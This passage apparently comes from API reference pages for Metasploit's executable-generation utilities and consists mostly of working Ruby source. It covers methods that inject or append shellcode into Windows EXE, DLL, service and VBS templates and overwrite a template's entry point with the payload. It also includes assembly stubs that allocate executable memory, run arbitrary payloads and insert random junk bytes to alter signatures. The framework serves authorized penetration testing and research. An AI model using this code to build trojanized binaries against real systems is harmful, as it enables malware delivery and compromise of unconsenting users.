    ENV['MSF_SERVICENAME'] = opts[:servicename]

    opts[:framework] = framework
    opts[:payload] = 'stdin'
    opts[:encoder] = '@x86/service,'+(opts[:serviceencoder] || '')

    # XXX This should not be required, it appears there is a dependency inversion
    # See https://github.com/rapid7/metasploit-framework/pull/9851
    require 'msf/core/payload_generator'
    venom_generator = Msf::PayloadGenerator.new(opts)
    code_service = venom_generator.multiple_encode_payload(code)
    return to_winpe_only(framework, code_service, opts)
  end
end

.to_win32pe_vbs(framework, code, opts = {}) ⇒ Object


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# File 'lib/msf/util/exe.rb', line 1504

def self.to_win32pe_vbs(framework, code, opts = {})
  to_exe_vbs(to_win32pe(framework, code, opts), opts)
end

.to_win64pe(framework, code, opts = {}) ⇒ String

self.to_win64pe

Parameters:

  • framework (Msf::Framework)

    The framework of you want to use

  • code (String)
  • opts (Hash) (defaults to: {})

Returns:

  • (String)

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# File 'lib/msf/util/exe.rb', line 600

def self.to_win64pe(framework, code, opts = {})
  # Allow the user to specify their own EXE template
  set_template_default(opts, "template_x64_windows.exe")

  # Try to inject code into executable by adding a section without affecting executable behavior
  if opts[:inject]
    injector = Msf::Exe::SegmentInjector.new({
       :payload  => code,
       :template => opts[:template],
       :arch     => :x64,
       :secname  => opts[:secname]
    })
    return injector.generate_pe
  end

  # Append a new section instead
  appender = Msf::Exe::SegmentAppender.new({
    :payload  => code,
    :template => opts[:template],
    :arch     => :x64,
    :secname	=> opts[:secname]
  })
  return appender.generate_pe
end

.to_win64pe_dccw_gdiplus_dll(framework, code, opts = {}) ⇒ String

self.to_win64pe_dll

Parameters:

  • framework (Msf::Framework)

    The framework of you want to use

  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash)

    a customizable set of options

Returns:

  • (String)

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# File 'lib/msf/util/exe.rb', line 748

def self.to_win64pe_dccw_gdiplus_dll(framework, code, opts = {})
  # Allow the user to specify their own DLL template
  set_template_default(opts, "template_x64_windows_dccw_gdiplus.dll")
  opts[:exe_type] = :dll

  if opts[:inject]
    raise RuntimeError, 'Template injection unsupported for x64 DLLs'
  else
    exe_sub_method(code,opts)
  end
end

.to_win64pe_dll(framework, code, opts = {}) ⇒ String

self.to_win64pe_dll

Parameters:

  • framework (Msf::Framework)

    The framework of you want to use

  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash)

    a customizable set of options

Returns:

  • (String)

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# File 'lib/msf/util/exe.rb', line 705

def self.to_win64pe_dll(framework, code, opts = {})
  # Allow the user to specify their own DLL template
  set_template_default(opts, "template_x64_windows.dll")
  opts[:exe_type] = :dll

  if opts[:inject]
    raise RuntimeError, 'Template injection unsupported for x64 DLLs'
  else
    exe_sub_method(code,opts)
  end
end

.to_win64pe_service(framework, code, opts = {}) ⇒ String

self.to_win64pe_service

Parameters:

  • framework (Msf::Framework)

    The framework of you want to use

  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash)

    a customizable set of options

Returns:

  • (String)

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# File 'lib/msf/util/exe.rb', line 668

def self.to_win64pe_service(framework, code, opts = {})
  # Allow the user to specify their own service EXE template
  set_template_default(opts, "template_x64_windows_svc.exe")
  opts[:exe_type] = :service_exe
  exe_sub_method(code,opts)
end

.to_win64pe_vbs(framework, code, opts = {}) ⇒ Object


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# File 'lib/msf/util/exe.rb', line 1508

def self.to_win64pe_vbs(framework, code, opts = {})
  to_exe_vbs(to_win64pe(framework, code, opts), opts)
end

.to_winpe_only(framework, code, opts = {}, arch = ARCH_X86) ⇒ Object

self.to_winpe_only

Parameters:

  • framework (Msf::Framework)

    The framework of you want to use

  • code (String)
  • opts (Hash) (defaults to: {})
  • arch (String) (defaults to: ARCH_X86)

    Default is "x86"


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# File 'lib/msf/util/exe.rb', line 379

def self.to_winpe_only(framework, code, opts = {}, arch=ARCH_X86)

  # Allow the user to specify their own EXE template
  set_template_default(opts, "template_#{arch}_windows.exe")

  pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)

  exe = ''
  File.open(opts[:template], 'rb') {|fd| exe = fd.read(fd.stat.size)}

  pe_header_size = 0x18
  entryPoint_offset = 0x28
  section_size = 0x28
  characteristics_offset = 0x24
  virtualAddress_offset = 0x0c
  sizeOfRawData_offset = 0x10

  sections_table_offset =
    pe._dos_header.v['e_lfanew'] +
    pe._file_header.v['SizeOfOptionalHeader'] +
    pe_header_size

  sections_table_characteristics_offset = sections_table_offset + characteristics_offset

  sections_header = []
  pe._file_header.v['NumberOfSections'].times do |i|
    section_offset = sections_table_offset + (i * section_size)
    sections_header << [
      sections_table_characteristics_offset + (i * section_size),
      exe[section_offset,section_size]
    ]
  end

  addressOfEntryPoint = pe.hdr.opt.AddressOfEntryPoint

  # look for section with entry point
  sections_header.each do |sec|
    virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('V')[0]
    sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('V')[0]
    characteristics = sec[1][characteristics_offset,0x4].unpack('V')[0]

    if (virtualAddress...virtualAddress+sizeOfRawData).include?(addressOfEntryPoint)
      importsTable = pe.hdr.opt.DataDirectory[8..(8+4)].unpack('V')[0]
      if (importsTable - addressOfEntryPoint) < code.length
        #shift original entry point to prevent tables overwritting
        addressOfEntryPoint = importsTable - code.length + 4

        entry_point_offset = pe._dos_header.v['e_lfanew'] + entryPoint_offset
        exe[entry_point_offset,4] = [addressOfEntryPoint].pack('V')
      end
      # put this section writable
      characteristics |= 0x8000_0000
      newcharacteristics = [characteristics].pack('V')
      exe[sec[0],newcharacteristics.length] = newcharacteristics
    end
  end

  # put the shellcode at the entry point, overwriting template
  entryPoint_file_offset = pe.rva_to_file_offset(addressOfEntryPoint)
  exe[entryPoint_file_offset,code.length] = code
  exe = clear_dynamic_base(exe, pe)
  exe
end

.to_zip(files) ⇒ String

Generates a ZIP file.

Examples:

Compressing two files, one in a folder called 'test'

Msf::Util::EXE.to_zip([{data: 'AAAA', fname: "file1.txt"}, {data: 'data', fname: 'test/file2.txt'}])

Parameters:

  • files (Array<Hash>)

    Items to compress. Each item is a hash that supports these options:

    • :data - The content of the file.

    • :fname - The file path in the ZIP file

    • :comment - A comment

Returns:

  • (String)

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# File 'lib/msf/util/exe.rb', line 87

def self.to_zip(files)
  zip = Rex::Zip::Archive.new

  files.each do |f|
    data    = f[:data]
    fname   = f[:fname]
    comment = f[:comment] || ''
    zip.add_file(fname, data, comment)
  end

  zip.pack
end

.win32_rwx_exec(code) ⇒ Object

This wrapper is responsible for allocating RWX memory, copying the target code there, setting an exception handler that calls ExitProcess and finally executing the code.


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# File 'lib/msf/util/exe.rb', line 1683

def self.win32_rwx_exec(code)
  stub_block = Rex::Payloads::Shuffle.from_graphml_file(
    File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'),
    arch: ARCH_X86,
    name: 'api_call'
  )

  stub_exit = %Q^
  ; Input: EBP must be the address of 'api_call'.
  ; Output: None.
  ; Clobbers: EAX, EBX, (ESP will also be modified)
  ; Note: Execution is not expected to (successfully) continue past this block

  exitfunk:
    mov ebx, 0x0A2A1DE0    ; The EXITFUNK as specified by user...
    push 0x9DBD95A6        ; hash( "kernel32.dll", "GetVersion" )
    mov eax, ebp
    call eax               ; GetVersion(); (AL will = major version and AH will = minor version)
    cmp al, byte 6         ; If we are not running on Windows Vista, 2008 or 7
    jl goodbye             ; Then just call the exit function...
    cmp bl, 0xE0           ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
    jne goodbye      ;
    mov ebx, 0x6F721347    ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
  goodbye:                 ; We now perform the actual call to the exit function
    push byte 0            ; push the exit function parameter
    push ebx               ; push the hash of the exit function
    call ebp               ; call EXITFUNK( 0 );
  ^

  stub_alloc = %Q^
    cld                    ; Clear the direction flag.
    call start             ; Call start, this pushes the address of 'api_call' onto the stack.
  delta:                   ;
  #{stub_block}
  start:                   ;
    pop ebp                ; Pop off the address of 'api_call' for calling later.

  allocate_size:
     mov esi, #{code.length}

  allocate:
    push byte 0x40         ; PAGE_EXECUTE_READWRITE
    push 0x1000            ; MEM_COMMIT
    push esi               ; Push the length value of the wrapped code block
    push byte 0            ; NULL as we dont care where the allocation is.
    push 0xE553A458        ; hash( "kernel32.dll", "VirtualAlloc" )
    call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );

    mov ebx, eax           ; Store allocated address in ebx
    mov edi, eax           ; Prepare EDI with the new address
    mov ecx, esi           ; Prepare ECX with the length of the code
    call get_payload
  got_payload:
    pop esi                ; Prepare ESI with the source to copy
    rep movsb              ; Copy the payload to RWX memory
    call set_handler       ; Configure error handling

  exitblock:
  #{stub_exit}
  set_handler:
    xor eax,eax
    push dword [fs:eax]
    mov dword [fs:eax], esp
    call ebx
    jmp exitblock
  ^

  stub_final = %Q^
  get_payload:
    call got_payload
  payload:
  ; Append an arbitrary payload here
  ^

  stub_alloc.gsub!('short', '')
  stub_alloc.gsub!('byte', '')

  wrapper = ""
  # regs    = %W{eax ebx ecx edx esi edi ebp}

  cnt_jmp = 0
  stub_alloc.each_line do |line|
    line.gsub!(/;.*/, '')
    line.strip!
    next if line.empty?

    wrapper << "nop\n" if rand(2) == 0

    if rand(2) == 0
      wrapper << "jmp autojump#{cnt_jmp}\n"
      1.upto(rand(8)+8) do
        wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"
      end
      wrapper << "autojump#{cnt_jmp}:\n"
      cnt_jmp += 1
    end
    wrapper << line + "\n"
  end

  wrapper << stub_final

  enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
  enc.data + code
end

.win32_rwx_exec_thread(code, block_offset, which_offset = 'start') ⇒ Object

This wrapper is responsible for allocating RWX memory, copying the target code there, setting an exception handler that calls ExitProcess, starting the code in a new thread, and finally jumping back to the next code to execute. block_offset is the offset of the next code from the start of this code


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# File 'lib/msf/util/exe.rb', line 1793

def self.win32_rwx_exec_thread(code, block_offset, which_offset='start')
  stub_block = Rex::Payloads::Shuffle.from_graphml_file(
    File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'),
    arch: ARCH_X86,
    name: 'api_call'
  )

  stub_exit = %Q^
  ; Input: EBP must be the address of 'api_call'.
  ; Output: None.
  ; Clobbers: EAX, EBX, (ESP will also be modified)
  ; Note: Execution is not expected to (successfully) continue past this block

  exitfunk:
    mov ebx, 0x0A2A1DE0    ; The EXITFUNK as specified by user...
    push 0x9DBD95A6        ; hash( "kernel32.dll", "GetVersion" )
    call ebp               ; GetVersion(); (AL will = major version and AH will = minor version)
    cmp al, byte 6         ; If we are not running on Windows Vista, 2008 or 7
    jl goodbye       ; Then just call the exit function...
    cmp bl, 0xE0           ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
    jne goodbye      ;
    mov ebx, 0x6F721347    ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
  goodbye:                 ; We now perform the actual call to the exit function
    push byte 0            ; push the exit function parameter
    push ebx               ; push the hash of the exit function
    call ebp               ; call EXITFUNK( 0 );
  ^

  stub_alloc = %Q^
    pushad                 ; Save registers
    cld                    ; Clear the direction flag.
    call start             ; Call start, this pushes the address of 'api_call' onto the stack.
  delta:                   ;
  #{stub_block}
  start:                   ;
    pop ebp                ; Pop off the address of 'api_call' for calling later.

  allocate_size:
     mov esi,#{code.length}

  allocate:
    push byte 0x40         ; PAGE_EXECUTE_READWRITE
    push 0x1000            ; MEM_COMMIT
    push esi               ; Push the length value of the wrapped code block
    push byte 0            ; NULL as we dont care where the allocation is.
    push 0xE553A458        ; hash( "kernel32.dll", "VirtualAlloc" )
    call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );

    mov ebx, eax           ; Store allocated address in ebx
    mov edi, eax           ; Prepare EDI with the new address
    mov ecx, esi           ; Prepare ECX with the length of the code
    call get_payload
  got_payload:
    pop esi                ; Prepare ESI with the source to copy
    rep movsb              ; Copy the payload to RWX memory
    call set_handler       ; Configure error handling

  exitblock:
  #{stub_exit}

  set_handler:
    xor eax,eax
;     push dword [fs:eax]
;     mov dword [fs:eax], esp
    push eax               ; LPDWORD lpThreadId (NULL)
    push eax               ; DWORD dwCreationFlags (0)
    push eax               ; LPVOID lpParameter (NULL)
    push ebx               ; LPTHREAD_START_ROUTINE lpStartAddress (payload)
    push eax               ; SIZE_T dwStackSize (0 for default)
    push eax               ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL)
    push 0x160D6838        ; hash( "kernel32.dll", "CreateThread" )
    call ebp               ; Spawn payload thread

    pop eax                ; Skip
;     pop eax                ; Skip
    pop eax                ; Skip
    popad                  ; Get our registers back
;     sub esp, 44            ; Move stack pointer back past the handler
  ^

  stub_final = %Q^
  get_payload:
    call got_payload
  payload:
  ; Append an arbitrary payload here
  ^


  stub_alloc.gsub!('short', '')
  stub_alloc.gsub!('byte', '')

  wrapper = ""
  # regs    = %W{eax ebx ecx edx esi edi ebp}

  cnt_jmp = 0
  cnt_nop = 64

  stub_alloc.each_line do |line|
    line.gsub!(/;.*/, '')
    line.strip!
    next if line.empty?

    if cnt_nop > 0 && rand(4) == 0
      wrapper << "nop\n"
      cnt_nop -= 1
    end

    if cnt_nop > 0 && rand(16) == 0
      cnt_nop -= 2
      cnt_jmp += 1

      wrapper << "jmp autojump#{cnt_jmp}\n"
      1.upto(rand(8)+1) do
        wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"
        cnt_nop -= 1
      end
      wrapper << "autojump#{cnt_jmp}:\n"
    end
    wrapper << line + "\n"
  end

  # @TODO: someone who knows how to use metasm please explain the right way to do this.
  wrapper << "db 0xe9\n db 0xFF\n db 0xFF\n db 0xFF\n db 0xFF\n"
  wrapper << stub_final

  enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
  soff = enc.data.index("\xe9\xff\xff\xff\xff") + 1
  res = enc.data + code

  if which_offset == 'start'
    res[soff,4] = [block_offset - (soff + 4)].pack('V')
  elsif which_offset == 'end'
    res[soff,4] = [res.length - (soff + 4) + block_offset].pack('V')
  else
    raise RuntimeError, 'Blast! Msf::Util::EXE.rwx_exec_thread called with invalid offset!'
  end
  res
end